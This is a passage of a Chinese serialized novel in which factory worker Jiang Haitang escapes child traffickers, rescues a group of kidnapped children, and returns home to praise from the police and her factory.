“多管闲事的娘们!瞧着还挺漂亮的,索性一起弄走算了。” 男人啐了一口,拽起她就往巷子里的板车拖。 姜海棠挨了一棒子之后,头晕脑胀的,还不忘记拼命挣扎,却被反手一记耳光打得眼前发黑。 “老实点!”男人压低声音,“敢喊就把你卖到山沟里当共妻!” 姜海棠的舌尖尝到血腥味,余光瞥见小男孩被塞进板车下的麻袋。 她立即意识到,这可能是有预谋的拐卖,或许,这个小孩不是唯一一个被拐的。 可就在这时候,姜海棠又被打了一棍子,她只觉得眼前一片漆黑,后脑勺传来阵阵钝痛。 她试图强撑着睁开眼睛,却发现自己的眼皮沉重得像灌了铅。 耳边隐约传来车轮碾过石子路的咯吱声,还有孩子压抑的啜泣。 “大姐姐……大姐姐你醒醒……” 一个细弱的声音钻入耳中,姜海棠努力集中精神,终于睁开了眼睛。 昏暗的光线下,她看到之前那个小男孩正跪在她身边,小脸上满是泪痕。 这小孩子可不就是之前在国营饭店附近被那戴蓝头巾的中年妇女抱走的孩子? “这是哪里?”姜海棠挣扎着想要坐起来,却发现自己的双手被粗糙的麻绳紧紧绑在身后。 一阵剧痛从手腕处传来,显然已经被磨破了皮。 小男孩抽噎着说:“俺不知道……他们把俺们装在麻袋里拉来的,这里还有好多小孩……” 姜海棠环顾四周,发现自己身处一个破旧的仓库,斑驳的墙面上贴着几张已经褪色的宣传画。 角落里蜷缩着五六个孩子,最大的不过十岁出头,最小的看起来只有三四岁,全都脏兮兮的,眼神惊恐。 姜海棠哪里还能看不明白,她这是遇到拐子了。 这些孩子看着姜海棠,却并不敢靠近她。 “别怕,姐姐会想办法救你们出去的。”姜海棠压低声音安慰身旁的小男娃,同时竖起耳朵听着外面的动静。 许是姜海棠的安慰起了作用,小家伙停止了抽噎。 “大姐姐,我叫铁柱,我知道你是好人,你是为了帮我才被抓来的!”虎头虎脑的小家伙说话倒是挺有条理。 姜海棠听了好一会儿,外面隐约传来几个男人的说话声和酒瓶碰撞的声音,具体有几个人听不出来,但最少有三个人以上。 “她真的不是人贩子,是为了救你被人贩子抓来的?”一个年龄稍微大点儿的女孩问铁柱。 铁柱点点头:“是的,大姐姐为了救我才会抓的,要不是我,她就不会被抓来这么了!” 铁柱说着又要哭了,姜海棠忙说:“没事,我们想办法,一定能出去。” “出不去了,他们要把我们卖到山里去。”那个女娃神情暗淡地说:“他们说今晚就要运走一批……” 小姑娘看着有十二三岁的样子,大概已经能理解把他们卖到山里这话的意思了。 姜海棠没想到,这些人打算晚上就要把他们弄走了,当即心头一紧。 时间紧迫,她必须尽快想出办法。 “大姐姐,我们被卖到山里,会不会……”小姑娘面上都是恐惧。 “不怕,不怕,我们会有办法的。”姜海棠安抚她:“你叫什么名字?” “我叫黄玉兰,大姐姐,我害怕!” “玉兰,你是最大的姐姐,要负责照顾好弟弟妹妹们,你如果哭,他们都会害怕。” 黄玉兰因为姜海棠这句话,将目光看向其他的孩子,发现比她更小的孩子都没哭之后,终于不哭了。 “姐姐,我不哭了!” 姜海棠见小孩子们的情绪都稳定了下来,安心了一些。 她试着活动手腕,绳子绑得很紧,但并非没有松动一点。 她悄悄挪动身体,让绳子在墙角凸起的钉子上摩擦。 “大姐姐,我可以帮你!” 这时候,有一个六七岁的男娃挪到姜海棠的身边,声音低低地说。 姜海棠看着这个白净的男娃,他没有哭,虽然被抓到这里了,但还是一副很冷静的样子。 再看这娃身上的衣服虽然脏兮兮的,但能看出来,布料做工都不错,可见,这孩子是家里条件不错的。 “你叫什么名字?”她轻声问那个小男孩。 “我叫邵承轩,大姐姐你叫什么名字?” “我叫姜海棠,你要怎么帮我?” 她一边回答一边继续磨着绳子,却看到这个叫做邵承轩的小朋友转身给她看他的手。 邵承轩的手里,赫然是一个刀片,锋利的刀片已经将他的手割破了,但他手上绑着的绳子却没有被割断。 姜海棠猜测,这个小孩子应该在准备自救,但因为不得其法,刀片没能割断绳子。 她的出现,正好给了这个男娃一个机会。 “好,承轩,你挪过来,放在我手里。”“铁柱,你在门口那边看着,要是有人朝着我们这边走过来,就给我提醒!” 铁柱点点头,蹑手蹑脚地爬到仓库唯一的门口,这是一扇破门,木头门上有缝隙,正好能让铁柱看到外面那些人的脚。 姜海棠点点头,开始尝试用刀片割绳子。 就在姜海棠的手上的绳子马上要被割开的时候,铁柱忽然朝着他们这边滚过来。 姜海棠立即明白,这是有人过来了。 她立即加快速度,用力将最后一点绳子割断,然后手继续背在后面,装作依旧被绑着的样子。 就在这时候,仓库的门突然被推开,一个满脸横肉的男人走了进来,手里拎着一根木棍。 “哟,醒了?”男人咧嘴一笑,露出一口黄牙,“是个漂亮的,只可惜,这么漂亮的一个女人,老子不能先尝尝滋味!” 姜海棠心头一震,强自镇定:“你们这是违法犯罪!拐卖妇女儿童是要吃枪子儿的!” 男人哈哈大笑:“在这荒郊野外,谁知道是我们干的?” 他走近几步,用木棍挑起姜海棠的下巴,“本来只想抓几个小崽子,没想到还捞到条大鱼。像你这样有文化的城里姑娘,能卖个好价钱。” 姜海棠强忍恶心,突然注意到男人腰间挂着一串钥匙,一个计划在她脑海中成形。 她换上一副诚恳的表情,“我看你也是穷苦出身,何必干这种伤天害理的事?我在纺织厂当干部,认识不少人,你要是放了我,我可以给你安排个工作……” 男人愣了一下,随即冷笑:“少来这套!老子不吃这个!老子们干的就是刀尖上舔血的事儿,一旦走了这条路,怎么可能回头?” “现在新社会了,人人都有出路。你想想,拐卖人口可是重罪,被抓到是要枪毙的。但你要是现在回头,我可以帮你作证,说是你救了这些孩子……” 男人的表情出现了一丝动摇,他回头看了眼门外,压低声音:“你……你没骗我?” “当然,我骗你干啥?”姜海棠见计策奏效,连忙趁热打铁。 “你想想家里其他人,你愿意他们为你担惊受怕?有一份正式工作,堂堂正正做人,难道不好吗?” “可是你……” “你放心,我还是有些门路的,只要你肯帮忙,我保证你没事。” 男人犹豫了,就在这时,外面传来那个蓝头巾妇女的喊声:“老刘!磨蹭什么呢?快来吃饭!” “来了!”男人应了一声,又看了姜海棠一眼,“你……你别耍花样!” 说完男人匆匆离开了仓库。 姜海棠见眼前这一关昏过去了,她顾不得手上的疼痛,迅速解开脚上的束缚,活动了下发麻的手腕。 然后,姜海棠先解开了邵承轩和铁柱两个孩子手脚上的绳子,然后叮嘱两个人帮忙解开其他孩子身上的绳索。 很快,所有孩子身上的绳索都被解开了,姜海棠怕有孩子太激动露馅,立即对他们比划了一个噤声的手势。 好在,这些孩子们没有脑子糊涂的,立即都明白了姜海棠的意思。 “孩子们,听我说,”她压低声音召集所有孩子围过来,“我们要逃出去,但必须按我说的做。” 孩子们紧张地点点头,眼中闪烁着希望的光芒。 第220章 逃跑 “铁柱,你刚才做得很好。没有你的提醒,我可能就被发现了。”姜海棠摸了摸小男孩的头。 铁柱没说话,只是眼里多了一点亮光。 “现在我需要你们帮我一个忙。等会儿那个男人再来的时候,你们一起大声哭闹,越吵越好,吸引他的注意力。不过,你们记得,不能被发现你们已经被解绑了!” “那姐姐你呢?”铁柱担忧地问。 “我会想办法制服他,拿到钥匙。”姜海棠环顾四周,目光落在墙角一根生锈的铁棍上。 不到半小时,仓库门再次被推开。 那个叫老刘的男人醉醺醺地走了进来,手里拿着几个干窝窝头。 “吃饭了,小兔崽子们……”他话音未落,孩子们突然爆发出震耳欲聋的哭喊声。 “俺要回家!” “娘啊!娘啊!” “放开俺!” “妈妈,妈妈,我要妈妈!” …… 不得不说,这么多的孩子一起哭起来,声音是有点恐怖的。 老刘被这突如其来的噪音弄得手忙脚乱,他挥舞着木棍威胁道:“闭嘴!都给我闭嘴!” 就在他背对姜海棠的一瞬间,姜海棠抄起铁棍,一个箭步冲上前,用尽全力砸向男人的后脑勺。 “砰!”一声闷响,男人应声倒地。 孩子们吓得噤了声,惊恐地看着倒在地上的男人。 姜海棠迅速从男人腰间取下钥匙串,又用剩余的绳子将他捆了个结实,还用破布塞住了他的嘴。 虽然已经解决了一个,但外面应该还有人,姜海棠决定先观察一下外面的情况。 “我先出去,你们仔细听外面的声音,确定安全了,就跟着出来,不过要非常小心。”姜海棠压低声音说。 “姐姐,你也要小心。”黄玉兰叮嘱道。 “玉兰、铁柱,你们和承轩带着小点的孩子。还有你们几个也帮忙照顾弟弟妹妹,千万别走散了。” 孩子们虽然都很惶恐,但似乎也都知道,这是唯一能逃脱的机会,因此,没有不同意,一个个都点头表示知道了。 姜海棠轻轻推开仓库门,外面是一个荒废的院子。 这时候,夜幕已经降临,月光下,可以看到还有三个人围坐在院子中央的小桌旁喝酒,桌上摆着半瓶白酒和几个空盘子。他们大声嚷嚷着,显然已经喝得有些神志不清。 姜海棠掂量了一下,自己一个人打三个人成功的概率,如果是三个清醒的人,有可能失败,但这是三个喝了酒的人,她觉得自己能对付。 她悄悄退回仓库,低声对孩子们说道:“你们先别动,我去解决他们。如果我成功了,给你们信号,你们就立刻往外跑,记住,一定要往大路上跑,找民兵或者公安!” 铁柱紧张地拉住她的袖子:“姐姐,你一个人行吗?” 姜海棠拍了拍他的肩膀,坚定道:“放心,我有办法。” 她手里依旧拎着仓库里生锈的铁棍子,又捡了几块碎砖头塞进口袋,然后贴着墙根,借着夜色的掩护,慢慢向人贩子靠近。 走到距离人贩子不远的地方,她瞄准最远处的一个空酒瓶,用力掷出一块砖头。 “啪!”酒瓶应声而碎,玻璃碎片四溅。 “谁?!”三个人贩子猛地站起来,醉眼朦胧地四处张望。 姜海棠趁机绕到他们身后,抡起木棍,对准其中一人的后颈狠狠砸下。 “砰!”那人闷哼一声,直接栽倒在地。 剩下两个人这才反应过来,之前抓铁柱的戴着蓝头巾的女人贩子怒吼道:“妈的!是那个女的!” 他抄起桌上的酒瓶就朝姜海棠砸来,姜海棠侧身一闪,酒瓶砸在墙上炸裂开来。 “臭娘们!找死!”另一个瘦高个儿抽出腰间的匕首,凶狠地扑了过来。 姜海棠没有硬拼,而是迅速后退,同时抓起地上的沙土,猛地朝他们脸上扬去。 “啊!我的眼睛!”两人猝不及防,被沙子迷了眼,顿时乱了阵脚。 机会来了! 姜海棠毫不犹豫,箭步上前,一棍砸在瘦高个儿的手腕上,匕首“当啷”一声落地。 紧接着,她抬腿一记狠踹,直接把他踢翻在地。 女人贩子见状,冲上来,想要抓住她,姜海棠灵活地闪身,顺势抓住她的胳膊,借力一拽,同时膝盖猛顶她的腹部。 同样作为女同志,姜海棠的力量自然不是这个女人贩子能比的。 “呃啊!”女人贩子痛苦地弯下腰,姜海棠趁机一记手刀劈在她后颈,她顿时瘫软下去。 三个人贩子,全部放倒! 姜海棠喘着气,迅速用绳子把他们捆了个结实,又撕下他们的衣服塞住嘴巴,确保他们没法呼救。 “孩子们!快出来!”她低声喊道。 仓库门“吱呀”一声打开,铁柱和承轩带着其他孩子小心翼翼地跑了出来。 “姐姐!你太厉害了!”铁柱看到三个人贩子被捆住手脚,眼睛发亮。 邵承轩走过去,对着其中一个人贩子的脸就是一脚。 姜海棠擦了擦额头的汗,着急地催促:“走,我们赶紧离开这儿!” 承轩还想继续踢几脚,被姜海棠这么一提醒,也不耽误了。 “姐姐,我们从这里走,这里应该有后门。” 承轩忽然指着其中一个方向说。 姜海棠看过去,果然,就看到承轩指着的方向确实有一道很小的小门。 姜海棠带着一群小孩子立即朝着小门的方向走。 打开小门,姜海棠让承轩第一个出去,在外面接应其他孩子。 她觉得,这个小家伙十分冷静,比其他孩子要更加可靠。 承轩也没客气,立即朝着小门外面走。 门很小,一次只能允许一个人过去,孩子们一个个过去,姜海棠悬着的心安了许多。 就在这时,远处突然传来一阵急促的脚步声和手电筒的光亮。 姜海棠意识到情况不妙,立即催促:“你们快走,等出去之后,千万要分开跑,但都要朝着有灯光的地方跑。” 就在剩下两个孩子的时候,忽然听到有人喊:“站住!敢跑,吃了熊心豹子胆了!” 姜海棠心头一紧,立即推了一把最后两个孩子,然后自己挡在孩子的前面。 她庆幸,刚才走的是小门,如果走大门,正好撞在人贩子手里。 如果是她一个人,她肯定能逃出去,可带着这么多孩子,见海棠没有这个信心能逃走。 姜海棠刚把最后两个孩子推出小门,背后就传来一声暴喝:“臭娘们!敢坏我们的好事!” 她猛地回头,只见两个凶神恶煞的壮汉冲了过来,手里还抄着木棍和砍刀。 糟了! 姜海棠把铁棍横在身前,厉声喝道:“站住!公安马上就到,你们跑不掉了!” “放屁!”其中一个刀疤脸狞笑着逼近,“老子先弄死你!” 话音未落,他猛地抡起砍刀劈了过来! 这些孩子,他们花了好大力气才弄回来,连下家都找好了,要是被放走了,这一把可就赔大发了。 姜海棠侧身一躲,刀锋擦着她的衣角划过,她反手一棍砸向刀疤脸的手腕。 “咔嚓!”骨头断裂的声音伴随着惨叫,砍刀“哐当”一声落地。 “啊!我的手!臭娘们,心肠歹毒,等下被我抓住了,看老子怎么收拾你!”刀疤脸捂着骨折的手腕,疼得直跳脚,嘴里还在不三不四。 另一个光头见状,怒吼着冲上来,木棍狠狠砸向姜海棠的脑袋! 她勉强抬臂格挡,“砰!”木棍重重砸在她手臂上,剧痛让她闷哼一声,踉跄后退。 “臭娘们,还挺能打?”光头狞笑着,再次逼近:“老子是练过的,你这点小把式,不在我眼里放。” 姜海棠咬牙站稳,但手臂已经发麻,铁棍把也快握不住了。 就在这时,她听到有人喊:“姐姐!低头!” 一个稚嫩却坚定的声音突然从光头背后响起! 姜海棠本能的一矮身,然后听到“嗖!”的一声,一块拳头大的石头精准砸在光头的后脑勺上! “哎哟!”光头痛呼一声,捂着脑袋转身,怒骂道:“小兔崽子,找死!” 是承轩! 他不知何时又回来了,手里还攥着几块石头,眼神凶狠得像只小狼崽。 “承轩!快跑!”姜海棠焦急喊道。 第221章 安全了 但承轩没跑,反而又抓起一块石头,狠狠砸向光头的脸。 “啪!”石头正中鼻梁,光头顿时鼻血横流,捂着脸哀嚎,目光越发凶狠地朝着承轩追过去。 机会来了! 姜海棠强忍手臂疼痛,冲上前一记扫堂腿,直接把光头撂倒在地! “砰!”她顺势一脚踹在他肚子上,光头顿时蜷缩成虾米,他正要翻身爬起来,姜海棠却将铁棍直直地指在他脖子上。 光头没想到自己会这么容易被一个小娘们打翻在地上,一张脸扭曲着。 “你要是敢开口,我就一棍子戳死你!”姜海棠凶巴巴地威胁。 光头虽然恨不得活撕了姜海棠,但颈部的疼痛让他只能闭嘴不开口。 他不甘心,对着姜海棠恶狠狠地瞪了一眼。 “瞪我,还敢瞪我!”姜海棠手一挥,一铁棍砸在他脑袋上,光头不甘心地晕过去了。 “姐姐,你没事吧?”承轩看着这人晕过去,跑过来,小脸紧绷着,显然十分紧张。 姜海棠喘着气,揉了揉发麻的手臂,勉强笑道:“没事,多亏了你。” 承轩抿着嘴,眼神却格外坚定:“你救了我们,我不能丢下你。” “承轩,我把他们两个绑起来,然后就走。” 姜海棠担心,不把人绑起来,万一人要是醒过来追上来怎么办? 承轩点头,立即帮姜海棠找绳子。 把两个人贩子绑起来之后,二人迅速从小门出去。 才跑了没几步,忽然就看到几个小家伙从一旁爬出来。 “姐姐,你出来了,呜呜呜……”一个小家伙看到姜海棠,立即哭了起来。 “姐姐,我们商量了一下,不能让你一个人留在这里,所以,我们就在外面躲起来了。”黄玉兰走近姜海棠身边,声音讷讷的说道。 姜海棠没想到,这些小家伙都在这里等着她,她心头一暖。 但现在不是感动的时候,还是要尽量的离开这里,越远越好。 带着一群小家伙,又是夜里,并不是很好走,但是这一群孩子都没有放弃,哪怕最小的,才三四岁的孩子,都在深一脚浅一脚的跑,摔倒了,爬起来接着跑…… 却在这时候,他们听到远处传来了汽车的声音。 姜海棠心中一凉,总不会人贩子还有汽车吧? “那里有个小坡,我们躲起来。” 她立即招呼所有的孩子就地找地方趴下。 等孩子们都趴在地上后,姜海棠放心了许多。 现在是夜里,小家伙们又都小,趴在地上并不是很显眼。 “等下如果是人贩子追过来,我引开他们,你们继续往前跑,知道吗?承轩、玉兰、铁柱,你们三个年龄最大,要照顾好他们!”姜海棠郑重其事地交代。 铁柱还想说什么,承轩已经点头了,黄玉兰也在短暂的迟疑之后,点头保证。 “姐姐,我会保护好他们,也会及时找人来救你!” 姜海棠点点头:“你们放心吧,只要你们顺利脱身,我有办法保证自己的安全。 说话的功夫,车已经到了他们不远处。 姜海棠目光灼灼地盯着过来的车看,一前一后,两辆吉普车飞快的在路上驶过。 月光下看得不是很明白,姜海棠隐约觉得,上面坐的人,好像是公安。 不过,姜海棠不敢掉以轻心。 万一呢? 万一看错了怎么办? 好不容易逃出来,可不能再冒险! 车子行驶得飞快,在尘土飞扬中朝着他们刚才逃出来的方向去了。 姜海棠等车走远了,继续招呼孩子们往前走。 他们不敢走在大路上,只敢在大路不远处走。 不多时候,却看到那辆车去而复返,只不过,这一次车速慢了许多,还有几个人从车上下来,打着手电筒寻找。 “仔细找,被拐的都是小孩子,应该走不远。” “我们会不会找错方向了?” 姜海棠听着这些人的话,觉得这些人可能是真的来寻找孩子们的,但又担心,万一这些人和人贩子是一伙儿的呢? “承轩,你说,我们要不要出去?”姜海棠问承轩。 她觉得,承轩这孩子,非同一般,或许能给自己一个建议。 但就这一句话,就被人听到了。 “什么人?”一声暴喝声传来。 手电筒的强光刺破夜色,姜海棠下意识将孩子们护在身后。 就在这时,承轩突然大声喊道:“魏叔叔!是我!” 光束立即调转方向,一个身着军装的精干男子快步走来,身后还跟着几名持枪战士。 男子蹲下身紧紧抱住承轩,声音发颤:“小轩!首长和夫人快急疯了!” 姜海棠这才注意到,远处停着两辆吉普车不是警车,而是军车。 除了军人和公安同志之外,还有一位梳着齐耳短发的女同志正用手帕不住地拭泪。 “轩儿,吓死我了,妈妈可算找到你了!”妇女跌跌撞撞地朝着承轩的方向跑过来。 承轩也朝着妇女扑过去,见到了亲人的承轩,可没有了之前的冷静,而是一个真正的小孩子一样,呜呜咽咽地哭。 姜海棠确定了,这些人不是坏人,这才招呼孩子们站起来。 被承轩叫做魏叔叔的军人没想到,只是一个不留心,面前就出现了一堆小萝卜头,哦,也不是,还有一个成年人。 “你是……”军装男子警惕地看向姜海棠。 “魏叔叔,是海棠姐姐救了我们!”承轩大声说,“她把坏人都打倒了!她非常厉害。” 女同志紧紧抱着承轩,抬头看向姜海棠时,眼中噙着泪水,在月光下闪耀着银光,“同志,太感谢你了……” “这些孩子们都已经吓坏了,能不能麻烦你们帮忙把孩子们送到城里!”姜海棠放松下来之后,只觉得整个人都疲惫不堪。 “好!”姓魏的军人一口答应下来,随即又拧眉。 “只是,这么多的孩子,一次送回去车上坐不下。嫂子,先让小王和小赵开车送回去一批,剩下的人留在原地等候?” 承轩的妈妈听姓魏的军人这么说,立即点头:“这些孩子估计都吓到了,先从年龄小的开始送吧。我们在原地等。” 姜海棠没想到,承轩的妈妈是个这样好说话的女人。 等两辆车上都坐满了小孩子之后,姜海棠忽然想起仓库里还有被捆着的人,立即说:“那边仓库里还有几个人贩子。” “我已经让给小王调一辆大卡车过来,赵志和、蔡有路、段均可,你们三个人去把那些人贩子抓起来,别让逃跑了。” 安排好这些,姓魏的军人带着剩下的两名军人在原地守着其他人。 承轩的妈妈已经检查完了承轩的身体,确定承轩一切都好之后,抱着承轩走到了姜海棠的身边。 “你好,我是承轩的妈妈,我叫成千秋,感谢你救了我的孩子和这么多的孩子。只是,我们了解到这些人贩子主要是抓小孩子,为什么你也被抓了?” “姐姐是发现我被人贩子抓了,为了救我被人贩子一起抓起来的,呜呜呜,要是没有姐姐,我们就被人贩子给吃了!” 铁柱忽然开口,小嘴巴利索的帮着姜海棠解释了。 “妈妈,这是铁柱,铁柱也很勇敢哦!”承轩立即开始夸奖患难与共的小伙伴们。 “你好,成千秋同志,我叫姜海棠,是龙省金城纺织厂的员工。” “金城纺织厂?我想起来了,过年的时候,你上过报纸,你和你对象见义勇为救了一火车的人!”成千秋脸上冒出欣喜的光:“姜海棠同志,我表姐一家人就在车上,她们说起过你。” 姜海棠没想到,世界这么大,巧遇这么多。 “您太客气了,成千秋同志,都是我们应该做的。”姜海棠并没有居功自傲。 “你先救了我表姐一家子,又救了我唯一的儿子,真是太感谢你了,要是没有你,我们就真的家破人亡了。” 成千秋把承轩放在地上,抓住了姜海棠的手,一叠声地表达感谢。 两个人说了几句,又安抚了剩下的几个焦虑不安的孩子,就听到有汽车的声音过来,却是一辆大卡车。 从副驾驶的位置跳下来一个人,正是公安局局长。 “杜局长!”魏同志显然和来人认识,立即上前打招呼。 “我听说孩子都已经救了,人贩子也已经抓住了,立即过来看看。”杜局长语气急切地问。 魏同志笑着给杜局长介绍:“是的,杜局长。就是这位同志救了这些孩子,如果不是她,说不定,这些孩子已经被送走了。” 刚才他们的人可是在正门的方向找到了两辆牛车,应该就是专用这些被拐孩子的车。 杜局长听了魏同志的这话,快步上前握住姜海棠的手:“小同志,你救了这么多孩子,是我们商都许多个家庭的大恩人啊!我代表这些家庭,感谢你!” “当不得您这样的夸奖,我只是做了我应该做的。”姜海棠谦虚地说。 “我已经安排把孩子们都送到医院里进行检查,并通知家长来接孩子。成千秋同志,小承轩在我们商都地界出事,是我们的工作不到位。” 听着杜局长这样恭敬的态度,姜海棠微微诧异,看起来,成千秋同志的身份不一般啊。 不过,她也没有兴趣探究。 成千秋说道:“也是我们不小心导致的,杜局长辛苦了。” 两个人彼此客气了几句,杜局长又向姜海棠看过来。 第222章 回到金城 “姜海棠同志,你不是我们本地人吧?是在商都转车?”杜局长问道。 姜海棠说:“我是今天晚上的火车,要回金城……” 她说到这里的时候,才惊觉,时间好像超过了,火车应该已经走了。 其他几个人听到姜海棠这么说,脸上也是错愕,显然,他们都意识到,这位女同志为了救这些孩子,已经错过了火车。 “去金城的火车已经离开商都火车站了,同志,我们为你改明天的火车可行?”魏同志清了一下嗓子,说。 杜局长也说:“正好这边还有些事需要您帮忙,还有些情况,公安这边要请您详细的说一下。” 姜海棠虽然心中着急,可是,事已如此,她也没有别的办法。 但就算重来一次,姜海棠相信,自己依然会做出一样的选择。 毕竟,这么多的孩子,牵扯着多少家庭,她不能视若无睹。 成千秋似是看出了姜海棠心中的焦急,问:“小姜同志,你是不是有要紧事需要赶回去?” 姜海棠点头:“确实有重要事情着急回去,不过,火车已经走了,也没有其他法子,等明天早上,我再想法子转车回去。” “明日一早我们也要去金城,不如你别坐火车了,跟着我们一同回去吧。”成千秋开口说。 “真的吗?”姜海棠欣喜地问,如果能有顺风车回去,自是好的。 事情商量定了,姜海棠也不着急了,杜局长立即吩咐,“小张,你等下负责安排几位同志住在咱们招待所里。魏同志,那些人贩子…… “杜局长,已经全部控制!我们的人正在就地审理,我们怀疑,这伙人可能和最近连续发生的拐卖儿童案件有关。” 杜局长点头:“我也有此怀疑,这些人真是太可恶了,为了赚钱,让多少家庭流离失所!只希望这一次能将这些人贩子一网打尽。” “一定会的。”魏同志说。 “如果这个世上能多一些像姜海棠同志这样的热心群众,人贩子就会无所遁形!” 说完这句话,杜局长又转向姜海棠时神色温和地问:“海棠同志在哪里工作?” “我是金城纺织厂的,刚参加完广交会,路过商都转车,在国营饭店附近发现了人贩子抢孩子。”姜海棠简单地将自己的情况述说了一遍。 “好!好!”杜局长连连点头,“年轻人就要有这样的担当!我要给你们厂里发感谢信,对你进行表彰,还要为你请功。” 姜海棠当天晚上,配合公安同志们做了笔录,将自己发现人贩子并且和孩子们一起斗智斗勇的情况都说了一遍,这才回招待所休息。 翌日一早,魏同志和成千秋带着承轩接了姜海棠上车向金城而去。 吉普车驶离商都时,姜海棠透过车窗望着渐渐远去的城市轮廓。 身旁的承轩靠在母亲怀里睡着。 “小姜同志,喝点水吧。”成千秋递来一个军用水壶,眼里满是感激,“昨天晚上的检查,孩子们都没有问题。” 姜海棠接过水壶,指尖无意识地摩挲着壶身上“为人民服务”的红色字样,她想起昨天晚上那些孩子们,真好,他们都平平安安的就好。 “成同志,那些孩子找到父母了吗?” “杜局长亲自在安排。应该很快就能找到家属,在找到家属之前,会对孩子们进行妥善安排。” 前排的魏同志转过头来,耐心地给姜海棠做了解释。 姜海棠点点头,却不知道此刻的商都医院,正上演着一幕幕催人泪下的重逢。 商都县医院儿科病房里,铁柱正趴在窗台上,眼巴巴地望着大门口。 他小脸洗得干干净净,手里捏着一个大红苹果,这是早上医院的阿姨给他的,他没舍得吃,想留给海棠姐姐。 可是,海棠姐姐到现在都还没来医院。 “铁柱!”一声撕心裂肺的呼喊从走廊传来。 铁柱猛地转头,看见父亲张建设和母亲李桂花跌跌撞撞地冲进来。 “爹!娘!”铁柱炮弹似的冲进父亲怀里,闻到熟悉的机油味,终于“哇”地哭出声来,“俺以为再也见不着你和俺娘嘞!” 张建设粗糙的大手颤抖着抚摸儿子的后背,突然发现孩子右臂上缠着的纱布:“这咋弄的?” “昨天俺们逃跑的时候,不小心给划了一下,没啥大事,护士爱意给上过药了。”铁柱抽抽搭搭地说。 隔壁病房,黄玉兰的爷爷黄老汉正用长满老茧的手给孙女梳头。 老人从怀里掏出个红头绳,那是他昨天给孙女儿买的,可是买了红头绳,孙女儿就不见了,亏得公安同志半夜通知,孙女已经找到了。 “兰啊,你得记着救你的恩人啊!” “爷,我记着呢,我肯定不会忘了海棠姐姐,等我长大了,就去西北找海棠姐姐。”“ 此外,还有好些个和黄玉兰家、铁柱家一样的家长们,都在和自己家的孩子说着昨天晚上的事。 有年纪小的孩子说不清楚,家长没听明白,便找其他孩子打听情况。 等到问清楚了,一些家离得近的,立即回家翻箱倒柜地找好东西,打算送给恩人,有些离得远的,干脆就近去百货大楼买东西。 可等他们拿着东西等在医院,却得知,他们孩子的救命恩人已经离开商都了。 “这可咋办呢?连一句感谢的话都没说上。” “我还给恩人拿了这么大的一块腊肉,都没能给恩人!” …… 众人七嘴八舌地说着。 “听说,这位勇敢的女同志,是金城棉纺厂的,名字叫做姜海棠。”有小护士不忍心看着这些人失望,便给他们说了一下姜海棠的情况。 “姜海棠,这名字我咋像是听过,还有金城棉纺厂。” “过年的时候,上过报纸,好像救了一火车的人!” “乖乖,原来恩人是一直做好事的大善人嘞,我们要不给恩人些感谢信,送锦旗吧?” 被拐孩子们的家属们开始商量着怎么感谢姜海棠。 闻讯而来的记者到了医院,只见到了被拐孩子的家长,没有如愿见到他们想采访的见义勇为的姜海棠同志,还很失望,最终,只能通过其他人的口述了解了一些情况。 在记者的帮助下,一份感谢信很快写好了,这份感谢信,不光寄出去给远在千里之外的金城纺织厂,也贴在了商都公安局的门口。 很快,就有许多人知道了姜海棠英勇救出被拐孩子的故事。 到了傍晚,整个商都都在传颂着一个名字:姜海棠。 也有十几个孩子,在苦等了一天之后,终于相信,那个救了他们的大姐姐已经离开了。 姜海棠和成千秋一路疾驰,他们是早上六点多出发的,中午只休息了一个多小时,简单吃了饭接着出发。 司机和魏同志两个人换着开车,姜海棠在车上甚至补了一觉。 等她醒来的时候,已经是下午六点多。 “海棠,我们先就近吃饭,大概到了晚上十一点多才能到金城。”成千秋看到姜海棠醒来,笑着说。 吉普车停在路边的国营饭店,夕阳将众人的影子拉得很长。 承轩揉着眼睛从睡梦中醒来,小手紧紧攥着姜海棠的衣角。 “姐姐,我梦见铁柱他们了。”承轩仰起小脸,“他们会不会想我?” 姜海棠蹲下身,轻轻擦去孩子脸上的睡痕:“肯定会的,我们承轩可是勇敢的小英雄呢。” 国营饭店里饭菜的香味,承轩的肚子咕噜噜地叫了起来,几个人忙进去。 姜海棠要付钱,被成千秋阻止了。 “中午就是你们付钱,我坐你们的车已经很不好意思了,怎么能让你们还管着我的饭?” 姜海棠很是不好意思地说。 成千秋笑着拍拍她的手说:“海棠妹子,你救了我们家的孩子,我要是连几顿饭都不能管,怎么好意思?你就让姐尽尽心吧。” 最终,姜海棠也只能任由成千秋掏钱吃饭。 深夜十一点,吉普车终于驶入金城市区。 等车缓缓到了纺织厂大门口时,姜海棠惊讶地发现厂门口灯火通明,几个模糊的人影正在张贴什么。 姜海棠吓了一跳,莫不是厂里出什么事儿了? “这么晚了……”姜海棠着急地从吉普车上跳下来。 “你们只是在干啥呢?”姜海棠问门房的老大爷。 “哎呦,姜工回来了啊!”门房的大爷看到姜海棠,立即一声欢呼。 大爷这句话正好被后面跟着下车的成千秋听到,成千秋疑惑地看向魏同志。 “他们称呼小姜同志姜工?”成千秋怀疑自己听错了,这么年轻的工程师吗? “是姜工,可小姜同志也太年轻了点。” “等下见到我父亲,再问问小姜的情况。”成千秋也没想着在这里追问。 魏同志和成千秋两个向姜海棠道别。 “千秋姐,我们改天再见,承轩,姐姐会想你的哟。”姜海棠笑着捏了捏承轩的小脸蛋。 小家伙明显有些不开心,但还是乖巧地点点头,依依不舍地上车走了。 第223章 故意掣肘 送走了成千秋等人,姜海棠这才专心和门房的大爷说话。 “都这么晚了,怎么还有这么多人?” 因为没有走进厂里,姜海棠并不知道厂里灯火通明的在干什么。 “姜工啊,商都公安局打电话过来了,说了你在商都的丰功伟绩,救了十几个孩子,还抓到了人贩子,商都那边得以剿灭了一个人贩子团伙啊,厂里这是在准备给您庆功呢。” 门房大爷和蔼地看着姜海棠,当初第一眼见了这闺女,就觉得这闺女是个命好的,果然,他老头子的眼神还是挺好的。 姜海棠没想到,自己人还没到,消息已经传回来了。 “其实,我也就是正好看到了!”姜海棠有点不好意思了。 两个人说话的时候,已经有很多人到了姜海棠的跟前,七嘴八舌的说着话。 最后,还是门房大爷看着姜海棠实在是困了,才建议让姜海棠回家休息。 姜海棠回到家的时候,看了一眼,隔壁的院子里黑漆漆的,也不知道陆良辰是已经休息了,还是还没有回来。 还有小桃子,她一走就是二十多天,小桃子肯定很想她。 但既然隔壁的灯没有亮,姜海棠便直接回到自己家院子里,简单的洗漱了一下之后,回房睡觉了。 一宿无话。 清晨的阳光透过梧桐树叶,在纺织厂家属院的石板路上洒下斑驳的光影。 